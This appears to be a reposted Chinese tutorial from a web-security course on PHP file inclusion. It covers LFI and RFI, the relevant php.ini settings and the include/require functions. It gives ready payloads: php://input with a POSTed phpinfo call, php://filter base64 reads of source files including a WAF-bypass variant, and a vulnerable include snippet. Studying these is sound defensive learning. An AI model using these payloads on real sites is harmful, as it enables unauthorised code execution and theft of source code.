風炫安全web安全學習第三十三節課 檔案包含漏洞基礎以及利用偽協議進行攻擊
檔案包含漏洞
參考文章:https://chybeta.github.io/2017/10/08/php檔案包含漏洞/
分類
LFI(Local File Inclusion)
本地檔案包含漏洞,顧名思義,指的是能打開并包含本地檔案的漏洞,大部分情況下遇到的檔案包含漏洞都是LFI,簡單的測驗用例如前所示,
RFI(Remote File Inclusion)
遠程檔案包含漏洞,是指能夠包含遠程服務器上的檔案并執行,由于遠程服務器的檔案是我們可控的,因此漏洞一旦存在危害性會很大,
但RFI的利用條件較為苛刻,需要php.ini中進行配置
兩個配置選項均需要為On,才能遠程包含檔案成功,
在php.ini中,allow_url_fopen默認一直是On,而allow_url_include從php5.2之后就默認為Off,
相關函式
php中引發檔案包含漏洞的通常是以下四個函式:
1. include()
2. include_once()
3. require()
4. require_once()
reuqire() 如果在包含的程序中有錯,比如檔案不存在等,則會直接退出,不執行后續陳述句,
include() 如果出錯的話,只會提出警告,會繼續執行后續陳述句,
require_once() 和 include_once() 功能與require() 和 include() 類似,但如果一個檔案已經被包含過了,則 require_once() 和 include_once() 則不會再包含它,以避免函式重定義或變數重賦值等問題,
php偽協議
php://input
利用條件:
- allow_url_include = On,
- 對allow_url_fopen不做要求,
姿勢:
index.php?file=php://input
POST:
<? phpinfo();?>

php://filter
利用條件:無甚
姿勢:
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
通過指定末尾的檔案,可以讀取經base64加密后的檔案原始碼,之后再base64解碼一下就行,雖然不能直接獲取到shell等,但能讀取敏感檔案危害也是挺大的,

>>> import base64
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==")
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
其他姿勢:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一樣,少了read等關鍵字,在繞過一些waf時也許有用,
參考:
http://blog.evalshell.com/2020/12/20/風炫安全web安全學習第三十三節課-檔案包含漏洞基/
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/246763.html
標籤:其他
